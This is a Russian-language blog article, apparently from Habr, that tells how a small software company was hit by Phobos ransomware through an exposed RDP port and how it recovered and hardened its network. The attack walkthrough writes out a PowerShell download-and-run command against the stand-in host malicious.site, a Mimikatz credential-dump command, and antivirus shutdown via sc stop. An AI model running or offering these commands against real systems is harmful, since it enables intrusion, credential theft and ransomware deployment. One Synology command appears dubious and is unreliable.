Небольшая компания разрабатывала программное обеспечение для местных клиентов и занимала скромный офис с нагромождением техники. Десяток сотрудников сидел за мониторами среди кофейных чашек и разбросанных бумаг, а в углу гудели серверные стойки.
Утро шло как обычно с привычным шумом клавиатур и обсуждением сроков проектов, пока системный администратор не заметил неладное. Его экран заполнили уведомления антивируса, но файлы на рабочей станции превратились в строки с расширением.lock. Проверка главного сервера показала беду — ERP‑система, связывавшая компанию с клиентами, оказалась недоступной, а на экране горело требование выкупа в биткоинах.

Системный администратор принялся за диагностику. Логи сервера Active Directory, где хранились учетные записи и доступ к файловому хранилищу, показали подключение с незнакомого IP через Remote Desktop Protocol (RDP) — протокол, позволявший сотрудникам работать удалённо. Порт 3389, стандартный для RDP, был открыт в интернет без ограничений. Логи роутера зафиксировали десятки входящих соединений, что подтвердилось командой:
netstat -ano | findstr 3389
Вывод показал активные подключения с внешних адресов. Для уточнения администратор проверил события безопасности:
wevtutil qe Security /q:"*[System[(EventID=4624)]]" /f:text /c:10
Логи указали на успешную аутентификацию учетной записи администратора в 3:14 ночи. Пароль — комбинация из названия компании и двух цифр — оказался слабым звеном.
Ущерб проявился быстро. ERP‑система, отвечавшая за учёт и клиентские операции, была полностью поражена. Файловое хранилище с исходным кодом проектов, критически важным для сроков, оказалось в том же состоянии. Клиенты звонили, сообщая о сбоях. Руководитель разработки, отвечавший за контракты, требовал немедленного решения, но план действий отсутствовал.
Как хакер захватил корпоративную сеть
Злоумышленники начали со сканирования, используя инструмент вроде Nmap:
nmap -p 3389 example.com
Команда выявила открытый порт 3389. Слабый пароль поддался атаке brute-force через программу, подобную Hydra. Войдя в RDP-сессию, атакующие запустили PowerShell-скрипт:
Invoke-WebRequest -Uri "http://malicious.site/phobos.exe" -OutFile "C:\Temp\phobos.exe"; Start-Process "C:\Temp\phobos.exe"
Скрипт скачал и запустил ransomware семейства Phobos — известного своей простотой и разрушительностью. Для расширения доступа они применили Mimikatz, извлекая хэши паролей из памяти сервера. Это требовало прав администратора, уже полученных через скомпрометированную учетную запись:
mimikatz.exe "sekurlsa::logonpasswords" exit
Получив новые учетные записи, вредонос распространился по сети через протокол SMB (Server Message Block), используемый для обмена файлами. Групповые политики (GPO, Group Policy Objects) в Active Directory, настроенные без ограничений, ускорили заражение. Антивирус, установленный на рабочих станциях, не сработал — атакующие отключили его через легитимные системные утилиты, такие как sc stop
, используя технику Living-off-the-Land, чтобы избежать обнаружения.
RDP настраивали год назад в спешке для удалённой работы. VPN, ограничение IP или двухфакторная аутентификация (2FA) не рассматривались. Роутер пропускал весь трафик на порт 3389, а аудит безопасности не проводился.
Провал бэкапов
Резервные копии на NAS под управлением Synology DSM 7.2 внушали надежду. Устройство создавало ежедневные копии, но оказалось уязвимым. NAS был смонтирован как сетевой диск на сервере Active Directory без ограничений на запись. Через SMB ransomware зашифровал все данные. Технология snapshot, сохраняющая неизменённые версии файлов, не была включена. WORM-защита (Write Once, Read Many), блокирующая изменения, тоже отсутствовала — её нужно было активировать вручную в настройках Synology.
Оффлайн-копий почти не существовало. Единственный внешний диск с бэкапом недельной давности хранился в сейфе с ротацией носителей — мера, принятая после случайного обсуждения на форуме. Это был единственный шанс.
Конфликт под давлением
В офисе нарастало напряжение. Руководитель разработки винил администратора за отсутствие облачного хранилища, считая, что код можно было защитить. Администратор возражал, что бюджет ограничивал возможности, а бэкапы казались надёжными. Клиентские жалобы усиливали стресс, но споры пришлось отложить.
Восстановление после краха
Руководство запретило платить выкуп, мотивировав команду на восстановление. Администратор изолировал заражённые машины, отключив их от сети. Сервер Active Directory переустановили с чистого образа Windows Server 2019.
Файловое хранилище восстановили с внешнего диска через утилиту wbadmin
:
wbadmin start recovery -backupTarget:\\External\Backups -itemType:Volume -items:D: -recoveryTarget:D:
Процесс занял шесть часов, вернув исходный код. ERP-систему восстанавливали из дампа базы данных SQL Server с расширением .bak, созданного за неделю до атаки. Администратор импортировал его через SQL Server Management Studio:
RESTORE DATABASE ERP_DB FROM DISK = 'E:\Backups\ERP_DB.bak' WITH REPLACE;
Потеря данных за неделю вызвала недовольство клиентов, но разработчики воссоздали недостающие записи по документам.
Для защиты RDP порт 3389 закрыли, внедрив VPN на WireGuard:
wg genkey | tee privatekey | wg pubkey > publickey
VPN ограничил доступ доверенными IP. Пароль администратора заменили на сложный, а 2FA настроили через Duo Security, интегрированное с RDP Gateway:
Install-WindowsFeature -Name RDS-Gateway
Роутер получил правило брандмауэра:
/ip firewall filter add chain=input protocol=tcp dst-port=3389 action=drop
Бэкапы перестроили по правилу 3-2-1: три копии — на NAS, внешнем диске и зашифрованном облачном хранилище. Оффлайн-копия хранилась в сейфе с еженедельной ротацией. На NAS включили snapshot через Hyper Backup:
syno_hyper_backup --enable-snapshot
WORM-защиту активировали в настройках Synology для ключевых папок.
Человеческий фактор
Администратор работал всю ночь, борясь с усталостью. Когда надежда угасала, он вспомнил про диск в сейфе — случайное решение, спасшее компанию. Это был не триумф, а урок хрупкости системы.
Временные решения стали ловушкой. RDP без VPN и 2FA, слабый пароль и открытый порт 3389 сделали атаку неизбежной. Бэкапы на NAS оказались уязвимы из-за подключения. Плана реагирования не было, что заставило импровизировать.
Порты проверяют ежемесячно через Nmap. RDP доступен только через VPN. Бэкапы изолированы, с ротацией оффлайн-копий. 2FA обязательна, пароли генерируются автоматически. Угрозы обсуждают еженедельно.
Каждая зашифрованная строка и бессонная ночь стали уроком. Простая ошибка едва не уничтожила компанию, но из неё выросла настоящая защита.
Хотите разбирать реальные случаи взломов и разбираться в киберугрозах? В своём Telegram‑канале Security Controls я делюсь историями атак, методами защиты и разбором уязвимостей. Подписывайтесь, если тема безопасности вам интересна. |
ссылка на оригинал статьи https://habr.com/ru/articles/900446/
Добавить комментарий